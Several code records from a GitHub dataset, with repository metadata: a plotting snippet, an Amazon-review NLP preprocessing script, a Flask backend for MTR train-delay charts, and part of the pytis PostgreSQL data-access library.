't=0.2')\nplt.plot(x,y3,color='tomato', label= 't=0.3')\nplt.plot(x,y4,color='violet', label= 't=0.4')\nplt.plot(x,y5,color='yellow', label= 't=0.5')\nplt.plot(x,y6,color='green', label= 't=0.6')\nplt.plot(x,y7,color='red', label= 't=0.7')\nplt.plot(x,y8,color='black', label= 't=0.8')\nplt.plot(x,y9,color='pink', label= 't=0.9')\n\n#print (y1)\n#print (type(y1))\nmin = np.min(y1)\n#print (min)\nindex = y1.index(min)\n#print (index)\nif min ==y1[index]:\n    plt.scatter(x[index], y1[index])\n\nmin = np.min(y2)\n#print (min)\nindex = y2.index(min)\n#print (index)\nif min ==y2[index]:\n    plt.scatter(x[index], y2[index])\n\nmin = np.min(y3)\n#print (min)\nindex = y3.index(min)\n#print (index)\nif min ==y3[index]:\n    plt.scatter(x[index], y3[index])\n\nmin = np.min(y4)\n#print (min)\nindex = y4.index(min)\n#print (index)\nif min ==y4[index]:\n    plt.scatter(x[index], y4[index])\n\nmin = np.min(y5)\n#print (min)\nindex = y5.index(min)\n#print (index)\nif min ==y5[index]:\n    plt.scatter(x[index], y5[index])\n\n\nmin = np.min(y6)\n#print (min)\nindex = y6.index(min)\n#print (index)\nif min ==y6[index]:\n    plt.scatter(x[index], y6[index])\n\n\nmin = np.min(y7)\n#print (min)\nindex = y7.index(min)\n#print (index)\nif min ==y7[index]:\n    plt.scatter(x[index], y7[index])\n\n\nmin = np.min(y8)\n#print (min)\nindex = y8.index(min)\n#print (index)\nif min ==y8[index]:\n    plt.scatter(x[index], y8[index])\n\n\nmin = np.min(y9)\n#print (min)\nindex = y9.index(min)\n#print (index)\nif min ==y9[index]:\n    plt.scatter(x[index], y9[index])\n\nplt.legend() # 显示图例\nplt.show()\n\"\"\"\n", "repo_name": "Lucky716/Improved-openset", "sub_path": "ulits.py", "file_name": "ulits.py", "file_ext": "py", "file_size_in_byte": 5675, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torchvision.transforms.Compose", "line_number": 7, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 7, "usage_type": "name"}, {"api_name": "torchvision.transforms.Resize", "line_number": 8, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 8, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 11, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 11, "usage_type": "name"}, {"api_name": "torchvision.datasets.ImageFolder", "line_number": 14, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 14, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 15, "usage_type": "attribute"}, {"api_name": "torchvision.transforms.Compose", "line_number": 19, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 19, "usage_type": "name"}, {"api_name": "torchvision.transforms.Resize", "line_number": 20, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 20, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 22, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 22, "usage_type": "name"}, {"api_name": "torchvision.datasets.ImageFolder", "line_number": 24, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 24, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 25, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 36, "usage_type": "name"}, {"api_name": "numpy.random.randint", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 37, "usage_type": "name"}, {"api_name": "numpy.expand_dims", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 44, "usage_type": "call"}]}
{"seq_id": "70899803771", "text": "import re\nimport contextlib\nimport joblib\nfrom tqdm import tqdm\nfrom joblib import Parallel, delayed\nimport nltk\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word_tokenize\nimport spacy\nimport pandas as pd\nfrom gensim import corpora\nfrom gensim.models import LdaModel\nfrom collections import defaultdict\nfrom nltk.sentiment.vader import SentimentIntensityAnalyzer\nimport nltk\nfrom collections import defaultdict\nimport matplotlib.pyplot as plt\nfrom nltk.stem import WordNetLemmatizer\nimport os \n\n@contextlib.contextmanager\ndef tqdm_joblib(tqdm_object):\n    \"\"\"Context manager to patch joblib to report into tqdm progress bar given as argument\"\"\"\n    class TqdmBatchCompletionCallback(joblib.parallel.BatchCompletionCallBack):\n        def __call__(self, *args, **kwargs):\n            tqdm_object.update(n=self.batch_size)\n            return super().__call__(*args, **kwargs)\n\n    old_batch_callback = joblib.parallel.BatchCompletionCallBack\n    joblib.parallel.BatchCompletionCallBack = TqdmBatchCompletionCallback\n    try:\n        yield tqdm_object\n    finally:\n        joblib.parallel.BatchCompletionCallBack = old_batch_callback\n        tqdm_object.close()\n\ndef clean_text(text):\n    # Remove non-alphanumeric characters and extra whitespace\n    text = re.sub(r'[^a-zA-Z\\s]', '', text)\n    # Convert multiple whitespace characters to a single space\n    text = re.sub(r'\\s+', ' ', text)\n    # Convert the text to lowercase\n    text = text.lower()\n    return text\n\ndef tokenize_document(document):\n    tokens = word_tokenize(document)\n    return tokens\n\ndef filter_nouns(tokens):\n    # load the English language model\n    nlp = spacy.load(\"en_core_web_sm\")\n    \n    # join the tokens into a single text string\n    text = ' '.join(tokens)\n    \n    # process the text with spaCy\n    doc = nlp(text)\n    \n    # extract nouns ('NN' tags)\n    nouns = [token.text for token in doc if token.pos_ == 'NOUN']\n    \n    return nouns\n\ndef get_most_frequent_words(corpus, dictionary):\n    # Initialize a defaultdict to hold the frequency of each word\n    frequency = defaultdict(int)\n    \n    # Iterate over each document in the corpus\n    for doc in corpus:\n        # Iterate over each word and its count in the document\n        for word_id, count in doc:\n            # Add the count to the word's frequency\n            frequency[dictionary[word_id]] += count\n    \n    # Sort the words by frequency in descending order and return them\n    sorted_words = sorted(frequency.items(), key=lambda x: x[1], reverse=True)\n    \n    return sorted_words\n\ndef lemmatize_doc(document):\n    lemmatizer = WordNetLemmatizer()\n    document_lemmatized = []\n    for word in document:\n        document_lemmatized.append(lemmatizer.lemmatize(word))\n\n    return document_lemmatized\n\ndef remove_stopwords(token_docs, WORDS_FILTER = []):\n    stop_words = stopwords.words('english')\n    documents_no_stop = []\n    for doc in tqdm(token_docs): # each doc is a list of words\n        # loop through each word and filter\n        words_filter = [word for word in doc if word not in stop_words and word not in WORDS_FILTER] \n\n        # append to new list of lists\n        documents_no_stop.append(words_filter)\n    \n    return documents_no_stop\n\ndef process_amazon_reviews_file(input_file, output_file):\n  \n  # read file\n  df = pd.read_csv(input_file)\n\n  # clean text\n  df['Comment'] = df['Comment'].apply(clean_text)\n  df['Reviews'] = df['Reviews'].apply(clean_text)\n\n  # remove 'read more' from reviews\n  df['Reviews'] = df['Reviews'].apply(lambda x: x.replace('read more', ''))\n\n  # tokenize\n  token_docs = []\n  for doc in df['Reviews']:\n      token_docs.append(tokenize_document(doc))\n  print(token_docs[0])\n\n  documents_no_stop = remove_stopwords(token_docs)\n\n  print(documents_no_stop[0])\n\n  # lemmatize\n  docs_lemmatized = []\n\n  for doc in documents_no_stop:\n      docs_lemmatized.append(lemmatize_doc(doc))\n\n  print(docs_lemmatized[0])\n\n  # export treated and lemmatized docs to parquet file format\n  df_lemmatized = pd.DataFrame(columns=[\"Ratings\",\"Comment\",\"Review_tokens\"])\n  df_lemmatized[\"Ratings\"] = df[\"Ratings\"]\n  df_lemmatized[\"Comment\"] = df[\"Comment\"]\n  df_lemmatized[\"Review_tokens\"] = pd.Series(docs_lemmatized)\n\n  df_lemmatized.to_parquet(output_file)\n\n  return df_lemmatized", "repo_name": "leo-cb/nlp-amazon-reviews", "sub_path": "lib/process_text.py", "file_name": "process_text.py", "file_ext": "py", "file_size_in_byte": 4268, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "joblib.parallel", "line_number": 24, "usage_type": "attribute"}, {"api_name": "joblib.parallel", "line_number": 29, "usage_type": "attribute"}, {"api_name": "joblib.parallel", "line_number": 30, "usage_type": "attribute"}, {"api_name": "joblib.parallel", "line_number": 34, "usage_type": "attribute"}, {"api_name": "contextlib.contextmanager", "line_number": 21, "usage_type": "attribute"}, {"api_name": "re.sub", "line_number": 39, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 41, "usage_type": "call"}, {"api_name": "nltk.tokenize.word_tokenize", "line_number": 47, "usage_type": "call"}, {"api_name": "spacy.load", "line_number": 52, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 67, "usage_type": "call"}, {"api_name": "nltk.stem.WordNetLemmatizer", "line_number": 82, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 90, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 90, "usage_type": "name"}, {"api_name": "tqdm.tqdm", "line_number": 92, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 104, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 132, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 135, "usage_type": "call"}]}
{"seq_id": "27573427630", "text": "from flask import Flask, request, json\r\nfrom IPython.display import display\r\nimport time\r\n\r\nimport history_search.hr_plot_data as hr_plot\r\nimport history_search.lr_plot_data as lr_plot\r\nimport history_search.hr_data as hr\r\n\r\nimport route_search.route_suggestion as rs\r\n\r\n\r\n# Set routes\r\napp = Flask(__name__)\r\n\r\n### FOR TESTING ###\r\n@app.route(\"/\")\r\ndef test():\r\n\r\n    query = {\r\n        'graph': 'p_lr_1a',\r\n        'start_station_id': 'TML-TKW',\r\n        'direction': 'up',\r\n        'start_time': '2022-04-22 18:45',\r\n        'end_time': '2022-04-22 19:05'  \r\n    }\r\n\r\n    start = time.time()\r\n    result = hr.raw_hr_1_extract(query).to_string()\r\n    end = time.time()\r\n\r\n    print(end - start)\r\n\r\n    return '<p>朋友</p>'\r\n\r\n\r\n### HEAVY-RAIL ###\r\n@app.route('/hr', methods=['POST'])\r\ndef p_hr():\r\n\r\n    # Read the input json body\r\n    content_type = request.headers.get('Content-Type')\r\n    if (content_type == 'application/json'):\r\n        data = json.loads(request.data)\r\n    else:\r\n        return 'Content-Type not supported!'\r\n\r\n\r\n    # Return the data for each graph request\r\n    ### TYPE 1 - PLOTS RELATED TO STATION ###\r\n    # p_hr_1a - Display real waiting time patterns (LineChart)\r\n    if data['graph'] == 'p_hr_1a':\r\n        return hr_plot.json_p_hr_1a_create(data)\r\n\r\n    # p_hr_1b - Count number of train arrivals (BarChart)\r\n    elif data['graph'] == 'p_hr_1b':\r\n        return hr_plot.json_p_hr_1b_create(data)\r\n\r\n    # p_lr_1c - Display eta delay time patterns (LineChart)\r\n    elif data['graph'] == 'p_hr_1c':\r\n        return hr_plot.json_p_hr_1c_create(data)\r\n\r\n    # p_hr_1d - Display real delay time patterns (ScatterChart)\r\n    elif data['graph'] == 'p_hr_1d':\r\n        return hr_plot.json_p_hr_1d_create(data)\r\n\r\n\r\n### LIGHT-RAIL ###\r\n@app.route('/lr', methods=['POST'])\r\ndef p_lr():\r\n\r\n    # Read the input json body\r\n    content_type = request.headers.get('Content-Type')\r\n    if (content_type == 'application/json'):\r\n        data = json.loads(request.data)\r\n    else:\r\n        return 'Content-Type not supported!'\r\n\r\n\r\n    # Return the data for each graph request \r\n    ### TYPE 1 - PLOTS RELATED TO STATION ###\r\n    # p_lr_1a - Display real waiting time patterns (Multiple Line Chart)\r\n    if data['graph'] == 'p_lr_1a':\r\n       return lr_plot.json_p_lr_1a_create(data)\r\n\r\n    # p_lr_1b - Display eta delay time patterns (Multiple Line Chart)\r\n    elif data['graph'] == 'p_lr_1b':\r\n        return lr_plot.json_p_lr_1b_create(data)\r\n\r\n    # p_lr_1c - Display real delay time patterns (Box Plot / Dot Plot)\r\n    elif data['graph'] == 'p_lr_1c':\r\n        return lr_plot.json_p_lr_1c_create(data)\r\n\r\n    # p_lr_1d - Count number of train arrivals (Multiple Bar Chart)\r\n    elif data['graph'] == 'p_lr_1d':\r\n        return lr_plot.json_p_lr_1d_create(data)\r\n\r\n\r\n    ### TYPE 2 - PLOTS RELATED TO TRIPS BETWEEN TWO STATIONS ###\r\n    # p_lr_2a - Display combined waiting time of ALL available routes to a station (Line Chart)\r\n    if data['graph'] == 'p_lr_2a':\r\n        return lr_plot.json_p_lr_2a_create(data)\r\n\r\n\r\n### Route Suggestion ###\r\n@app.route('/route', methods=['POST'])\r\ndef p_route():\r\n\r\n    # Read the input json body\r\n    content_type = request.headers.get('Content-Type')\r\n    if (content_type == 'application/json'):\r\n        data = json.loads(request.data)\r\n    else:\r\n        return 'Content-Type not supported!'\r\n\r\n    return rs.suggest_route(data)\r\n\r\n\r\n# if __name__ == \"__main__\":\r\n#     app.run(host='0.0.0.0')\r\n\r\n# start = time.time()\r\n# end = time.time()\r\n\r\n#h = end - start", "repo_name": "mekptang/mtr_guru", "sub_path": "back_end/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 3524, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Flask", "line_number": 13, "usage_type": "call"}, {"api_name": "time.time", "line_number": 27, "usage_type": "call"}, {"api_name": "history_search.hr_data.raw_hr_1_extract", "line_number": 28, "usage_type": "call"}, {"api_name": "history_search.hr_data", "line_number": 28, "usage_type": "name"}, {"api_name": "time.time", "line_number": 29, "usage_type": "call"}, {"api_name": "flask.request.headers.get", "line_number": 41, "usage_type": "call"}, {"api_name": "flask.request.headers", "line_number": 41, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 41, "usage_type": "name"}, {"api_name": "flask.json.loads", "line_number": 43, "usage_type": "call"}, {"api_name": "flask.json", "line_number": 43, "usage_type": "name"}, {"api_name": "flask.request.data", "line_number": 43, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 43, "usage_type": "name"}, {"api_name": "history_search.hr_plot_data.json_p_hr_1a_create", "line_number": 52, "usage_type": "call"}, {"api_name": "history_search.hr_plot_data", "line_number": 52, "usage_type": "name"}, {"api_name": "history_search.hr_plot_data.json_p_hr_1b_create", "line_number": 56, "usage_type": "call"}, {"api_name": "history_search.hr_plot_data", "line_number": 56, "usage_type": "name"}, {"api_name": "history_search.hr_plot_data.json_p_hr_1c_create", "line_number": 60, "usage_type": "call"}, {"api_name": "history_search.hr_plot_data", "line_number": 60, "usage_type": "name"}, {"api_name": "history_search.hr_plot_data.json_p_hr_1d_create", "line_number": 64, "usage_type": "call"}, {"api_name": "history_search.hr_plot_data", "line_number": 64, "usage_type": "name"}, {"api_name": "flask.request.headers.get", "line_number": 72, "usage_type": "call"}, {"api_name": "flask.request.headers", "line_number": 72, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 72, "usage_type": "name"}, {"api_name": "flask.json.loads", "line_number": 74, "usage_type": "call"}, {"api_name": "flask.json", "line_number": 74, "usage_type": "name"}, {"api_name": "flask.request.data", "line_number": 74, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 74, "usage_type": "name"}, {"api_name": "history_search.lr_plot_data.json_p_lr_1a_create", "line_number": 83, "usage_type": "call"}, {"api_name": "history_search.lr_plot_data", "line_number": 83, "usage_type": "name"}, {"api_name": "history_search.lr_plot_data.json_p_lr_1b_create", "line_number": 87, "usage_type": "call"}, {"api_name": "history_search.lr_plot_data", "line_number": 87, "usage_type": "name"}, {"api_name": "history_search.lr_plot_data.json_p_lr_1c_create", "line_number": 91, "usage_type": "call"}, {"api_name": "history_search.lr_plot_data", "line_number": 91, "usage_type": "name"}, {"api_name": "history_search.lr_plot_data.json_p_lr_1d_create", "line_number": 95, "usage_type": "call"}, {"api_name": "history_search.lr_plot_data", "line_number": 95, "usage_type": "name"}, {"api_name": "history_search.lr_plot_data.json_p_lr_2a_create", "line_number": 101, "usage_type": "call"}, {"api_name": "history_search.lr_plot_data", "line_number": 101, "usage_type": "name"}, {"api_name": "flask.request.headers.get", "line_number": 109, "usage_type": "call"}, {"api_name": "flask.request.headers", "line_number": 109, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 109, "usage_type": "name"}, {"api_name": "flask.json.loads", "line_number": 111, "usage_type": "call"}, {"api_name": "flask.json", "line_number": 111, "usage_type": "name"}, {"api_name": "flask.request.data", "line_number": 111, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 111, "usage_type": "name"}, {"api_name": "route_search.route_suggestion.suggest_route", "line_number": 115, "usage_type": "call"}, {"api_name": "route_search.route_suggestion", "line_number": 115, "usage_type": "name"}]}
{"seq_id": "38597499548", "text": "from past.builtins import basestring, long\nfrom builtins import range, object\nfrom future.utils import raise_\n\nimport copy\nimport os\nimport re\nimport sys\nimport _thread\nimport threading\nimport time\nimport weakref\n\nimport pytis.data\nfrom pytis.data import (\n    DBException, DBInsertException, DBLockException, DBRetryException,\n    DBSystemException, DBUserException, NotWithinSelect, DBConnection,\n    DBConnectionPool, DBData, ColumnSpec, DBColumnBinding, Row, Function,\n    dbtable, reversed_sorting, Array, Binary, Boolean, Date, DateTime,\n    Float, FullTextIndex, Inet, Integer, LTree, Macaddr, Number, Range,\n    Uuid, JSON, JSONB, Serial, String, Time, TimeInterval, ival, sval,\n    Type, Value, Operator, AND, OR, EQ, NE, GT, LT, FORWARD, BACKWARD,\n    ASCENDENT, DESCENDANT,\n)\nimport pytis.util\nfrom pytis.util import (\n    ACTION, Counter, DEBUG, ecase, EVENT, is_sequence,\n    log, object_2_5, OPERATIONAL, ProgramError, remove_duplicates,\n    UNDEFINED, Locked, xtuple,\n)\nfrom . import evaction\n\n_ = pytis.util.translations('pytis-data')\n\n\n# Modifikace tabulek se oznamuje zasláním notifikace `__modif_table', kde `table'\n# je jméno modifikované tabulky.\n\n\nclass _PgValue(object):\n\n    def __init__(self, value):\n        if isinstance(value, _PgValue):\n            value = value.value()\n        self._value = value\n        self._pg_value = self._convert_value(value)\n\n    def __str__(self):\n        return '<{} value={}>'.format(self.__class__.__name__, self._value)\n\n    def __repr__(self):\n        return str(self)\n\n    def _convert_value(self, value):\n        v = value.value()\n        t = value.type()\n        if isinstance(t, Array) and v is not None:\n            result = [vv.value() for vv in v]\n        elif isinstance(t, Binary) and v is not None and sys.version_info[0] == 2:\n            result = memoryview(v)\n        else:\n            result = v\n        return result\n\n    def value(self):\n        return self._value\n\n    def pg_value(self):\n        return self._pg_value\n\n    def query(self):\n        template, args = _Query.next_arg(self)\n        return _Query(template, args)\n\n\nclass _Query(object):\n\n    _n = 0\n\n    def __init__(self, template, args=None):\n        assert isinstance(template, basestring), template\n        assert args is None or isinstance(args, dict), args\n        if __debug__:\n            if args is not None:\n                for v in args.values():\n                    assert isinstance(v, (_Query, _PgValue, Value)), v\n        self._template = template\n        self._args = copy.copy(args) or {}\n\n    def template(self):\n        return self._template\n\n    def args(self):\n        return self._args\n\n    def __bool__(self):\n        return not not self._template\n\n    # Just for Python 2 compatibility.\n    __nonzero__ = __bool__\n\n    def __add__(self, other):\n        args = copy.copy(self._args)\n        if isinstance(other, basestring):\n            template = self._template + other\n        else:\n            template = self._template + other._template\n            args.update(other._args)\n        return _Query(template, args)\n\n    def __str__(self):\n        return '<{} template={!r} args={!r}>'.format(self.__class__.__name__,\n                                                     self._template, self._args)\n\n    def __repr__(self):\n        return str(self)\n\n    def __mod__(self, args):\n        new_args = copy.copy(self._args)\n        new_args.update(args)\n        return _Query(self._template, new_args)\n\n    def append(self, template, args):\n        new_args = copy.copy(self._args)\n        new_args.update(args)\n        return _Query(self._template + template, new_args)\n\n    def wrap(self, function=''):\n        return _Query(function + '(' + self._template + ')', self._args)\n\n    def label(self, name):\n        return self.append(' as %s' % (name,), {})\n\n    def cast(self, type_):\n        result = self\n        if type_:\n            result = result + '::' + type_\n        return result\n\n    def update(self, update_args):\n        args = copy.copy(update_args)\n        template, args = self.query(args)\n        return self.__class__(template, args)\n\n    def query(self, args=None, expand=None):\n        query = self._template\n        if expand is None:\n            expand = args is None\n        if args is None:\n            args = {}\n        for k, v in self._args.items():\n            if k in args:\n                continue\n            if isinstance(v, Value):\n                v = _PgValue(v)\n            if isinstance(v, _PgValue):\n                args[k] = v.pg_value() if expand else v\n            else:\n                q, a = v.query(args, expand)\n                for kk, vv in a.items():\n                    if kk not in args:\n                        args[kk] = vv\n                format_key = '%%(%s)s' % (k,)\n                while True:\n                    pos = query.find(format_key)\n                    if pos < 0:\n                        break\n                    query = query[:pos] + q + query[pos + len(format_key):]\n        return query, args\n\n    def format(self):\n        query, args = self.query()\n        for k, v in args.items():\n            if ((sys.version_info[0] == 2 and isinstance(v, basestring) or\n                 sys.version_info[0] > 2 and isinstance(v, str))):\n                args[k] = \"'\" + v + \"'\"\n            elif (sys.version_info[0] == 2 and isinstance(v, buffer) or\n                  sys.version_info[0] > 2 and isinstance(v, bytes)):\n                args[k] = '<binary_data>'\n        return query % args\n\n    @classmethod\n    def join(class_, queries, separator=', '):\n        templates = []\n        args = {}\n        for q in queries:\n            if isinstance(q, Value):\n                q = _PgValue(q)\n            if isinstance(q, basestring):\n                templates.append(q)\n            elif isinstance(q, _PgValue):\n                t, a = class_.next_arg(q)\n                templates.append(t)\n                args.update(a)\n            else:\n                templates.append(q.template())\n                args.update(q.args())\n        return _Query(separator.join(templates), args)\n\n    @classmethod\n    def next_arg(class_, value):\n        _Query._n += 1\n        arg = '__qarg_%d' % (_Query._n,)\n        return '%(' + arg + ')s', {arg: value}\n\n    @classmethod\n    def next_arg_query(class_, value):\n        t, a = class_.next_arg(value)\n        return _Query(t, a)\n\n\nclass _QFunction(_Query):\n\n    def __init__(self, name, arguments=None):\n        if arguments is None:\n            t, a = self.next_arg(None)\n            q = _Query(t)\n            self._values_arg = list(a.keys())[0]\n        else:\n            q = self.__class__.join(arguments)\n        q = q.wrap(name)\n        super(_QFunction, self).__init__(q.template(), q.args())\n\n    def values_arg(self):\n        return self._values_arg\n\n    def values(self, values):\n        args = copy.copy(self._args)\n        args[self._values_arg] = self.join(values)\n        return _Query(self._template, args)\n\n\nclass _QInsert(_Query):\n\n    def __init__(self, table, columns):\n        t = self.next_val()[0]\n        self._values_arg = t\n        super(_QInsert, self).__init__(\"insert into %s (%s) values (%s)\" % (table, t,))\n\n    def values(self, values):\n        args = copy.copy(self._args)\n        args[self._values_arg] = self.join(values)\n        return _Query(self._template, args)\n\n\nclass PostgreSQLResult(object):\n    \"\"\"Na použitém backendu nezávislá reprezentace výsledku SQL příkazu.\n\n    Předpokládá se předefinování této třídy v potomcích PostgreSQLAccessor dle\n    potřeb konkrétního použitého backendu.\n\n    \"\"\"\n\n    def __init__(self, data):\n        \"\"\"\n\n        Argumenty:\n\n          data -- datový objekt odpovídající výsledku; jedná-li se o sekvenci\n            sekvencí stringů, fungují standardní metody v této třídě, v opačném\n            případě je nutno tyto metody předefinovat\n\n        Příklady standardních hodnot 'data':\n\n          (('1', 'prvni'), ('2', 'druhy'), ('3', 'treti'))\n          ()\n          [['42']]\n\n        \"\"\"\n        # Poznámka ke specifikaci: Reprezentace dat řetězci se může zdát\n        # poněkud nevhodná, protože u některých rozhraní to může znamenat\n        # konverzi dat na nějaký typ a pak zpět na řetězec.  To je ovšem cena,\n        # kterou rádi zaplatíme za srozumitelnost celé záležitosti.  Problémem\n        # není ani mrhání CPU cykly, protože kód poběží na klientech, kteří\n        # se stejně vesměs flákají.\n        self._data = data\n\n    def __getitem__(self, row):\n        \"\"\"Vrať hodnotu výsledku z řádku 'row'.\n\n        Návratovou hodnotou je reprezentace dat řádku jako indexovatelný objekt\n        s hodnotami typu string odpovídajícími jednotlivým sloupcům výsledku.\n        \"\"\"\n        return self._data[row]\n\n    def __bool__(self):\n        \"\"\"Vrať True právě když objekt obsahuje nějaká data.\"\"\"\n        return len(self) > 0\n\n    # Just for Python 2 compatibility.\n    __nonzero__ = __bool__\n\n    def __len__(self):\n        \"\"\"Vrať počet řádků dat.\n        \"\"\"\n        return len(self._data)\n\n    def __str__(self):\n        return '<{} {!r}>'.format(self.__class__.__name__, self._data)\n\n    def __repr__(self):\n        return str(self)\n\n\nclass PostgreSQLAccessor(object_2_5):\n    \"\"\"Třída pro low-level přístup k PostgreSQL.\n\n    Tato třída je zodpovědná za komunikaci s PostgreSQL realizovanou\n    prostřednictvím konkrétní backendové knihovny.  Konkrétně má na starosti\n    tyto věci: otevírání a uzavírání spojení do databáze, zasílání SQL příkazů\n    databázovému stroji, převod výsledků SQL příkazů do obecné na použitém\n    backendu nezávislé podoby.\n\n    Přístup k PostgreSQL prostřednictvím konkrétního backendu se realizuje\n    poděděním této třídy a předefinováním jejích metod.\n\n    \"\"\"\n\n    class _postgresql_Connection(object):\n        \"\"\"Spojení do databáze.\n        \"\"\"\n        _connection_set = weakref.WeakSet()\n\n        def __init__(self, connection, connection_data):\n            \"\"\"\n\n            Argumenty:\n\n              connection -- spojení do databázového stroje\n              connection_data -- specifikace parametrů spojení\n\n            \"\"\"\n            self._connection_set.add(self)\n            self._connection = connection\n            self._connection_data = connection_data\n            self._connection_info = {}\n\n        def connection(self):\n            return self._connection\n\n        def connection_data(self):\n            return self._connection_data\n\n        def connection_info(self, key):\n            return self._connection_info.get(key)\n\n        def set_connection_info(self, key, value):\n            self._connection_info[key] = value\n\n        @classmethod\n        def rollback_connections(class_, callback=None):\n            for c in class_._connection_set:\n                if callback is not None:\n                    callback(c)\n                try:\n                    c._connection.rollback()\n                except Exception:\n                    pass\n\n        @classmethod\n        def close_idle_connections(class_, timeout):\n            limit = time.time() - timeout\n            for c in class_._connection_set:\n                if c.connection_info('last_activity') <= limit:\n                    c._connection.rollback()\n                    PostgreSQLAccessor._postgresql_close_connection(c)\n\n    class _postgresql_Result(object):\n        \"\"\"Výsledek SQL příkazu.\n        \"\"\"\n\n        def __init__(self, result):\n            \"\"\"\n\n            Argumenty:\n\n              result -- výsledek SQL příkazu v podobě závislé na použitém\n               backendu\n\n            \"\"\"\n            self._result = result\n\n        def result(self):\n            return self._result\n\n    def _postgresql_new_connection(self, connection_data):\n        \"\"\"Vytvoř, inicializuj a vrať nové spojení do databáze.\n\n        Návratovou hodnotou je instance '_postgresql_Connection'.\n\n        Argumenty:\n\n          connection_data -- dictionary obsahující přihlašovací údaje jako\n            stroj, port, uživatel, heslo, atd.\n\n        \"\"\"\n        connection = self._postgresql_open_connection(connection_data)\n        self._postgresql_initialize_connection(connection)\n        return connection\n\n    @classmethod\n    def _postgresql_open_connection(class_, connection_data):\n        \"\"\"Vytvoř a vrať nové spojení do databáze.\n\n        Návratovou hodnotou je instance '_postgresql_Connection'.\n\n        Argumenty:\n\n          connection_data -- dictionary obsahující přihlašovací údaje jako\n            stroj, port, uživatel, heslo, atd.\n\n        Tato metoda musí být předefinována v podtřídě.\n\n        \"\"\"\n        raise ProgramError(_(u\"Method not implemented\"))\n\n    @classmethod\n    def _postgresql_close_connection(class_, connection):\n        \"\"\"Uzavři spojení do databáze.\n\n        Argumenty:\n\n          connection -- spojení, které má být uzavřeno, instance\n            '_postgresql_Connection'\n\n        V této třídě metoda nedělá nic.\n\n        \"\"\"\n        pass\n\n    def _postgresql_initialize_connection(self, connection):\n        \"\"\"Proveď potřebné inicializace nového spojení 'connection'.\n\n        Pozor, tato metoda může být volána z jakékoliv instance třídy, nesmí\n        tedy zde být nic specifického pro konkrétní instanci.\n\n        \"\"\"\n        self._postgresql_initialize_transactions(connection)\n        self._postgresql_initialize_coding(connection)\n        self._postgresql_initialize_search_path(connection,\n                                                self._pg_connection_data().schemas())\n        self._postgresql_initialize_crypto(connection)\n        self._postgresql_initialize_session_variables(connection)\n\n    def _postgresql_initialize_transactions(self, connection):\n        \"\"\"Nastav způsob provádění transakcí pro konkrétní backend.\"\"\"\n        pass\n\n    def _postgresql_initialize_coding(self, connection):\n        # This query is intentionally run without _pg_query_lock to avoid\n        # deadlock on connection reopening in dbapi.py.\n        self._postgresql_query(connection, _Query('set client_encoding to \"utf-8\"'), False)\n\n    def _postgresql_initialize_crypto(self, connection):\n        connection_data = connection.connection_data()\n        crypto_password = connection_data.crypto_password()\n        if not crypto_password:\n            password = connection_data.password()\n            if not password:\n                return\n            db_key = connection_data.db_key()\n            if not db_key:\n                t, a = _Query.next_arg(sval('pytis'))\n                query = _Query(\"select pytis_crypto_db_key(%s)\" % (t,), a)\n                try:\n                    result = self._postgresql_query(connection, query, False)\n                    db_key = result[0].result().fetchone()[0]\n                except DBUserException:\n                    return\n                if not db_key:\n                    # Remember there is no db key to avoid querying\n                    # the database again for each connection.\n                    connection_data.set_db_key(UNDEFINED)\n                    return\n                elif db_key != UNDEFINED:\n                    connection_data.set_db_key(db_key)\n                    crypto_password = pytis.util.rsa_encrypt(db_key, password).decode('ascii')\n                    connection_data.set_crypto_password(crypto_password)\n            else:\n                return\n        self._postgresql_query(connection, _Query(\"savepoint __pytis_init_crypto\"), False)\n        t, a = _Query.next_arg(sval(crypto_password))\n        query = _Query(\"select pytis_crypto_unlock_current_user_passwords(%s)\" % (t,), a)\n        try:\n            self._postgresql_query(connection, query, False)\n        except DBUserException:\n            self._postgresql_query(connection, _Query(\"rollback to __pytis_init_crypto\"), False)\n            # Prevent logging pytis_crypto_unlock_current_user_passwords\n            # failures all the time:\n            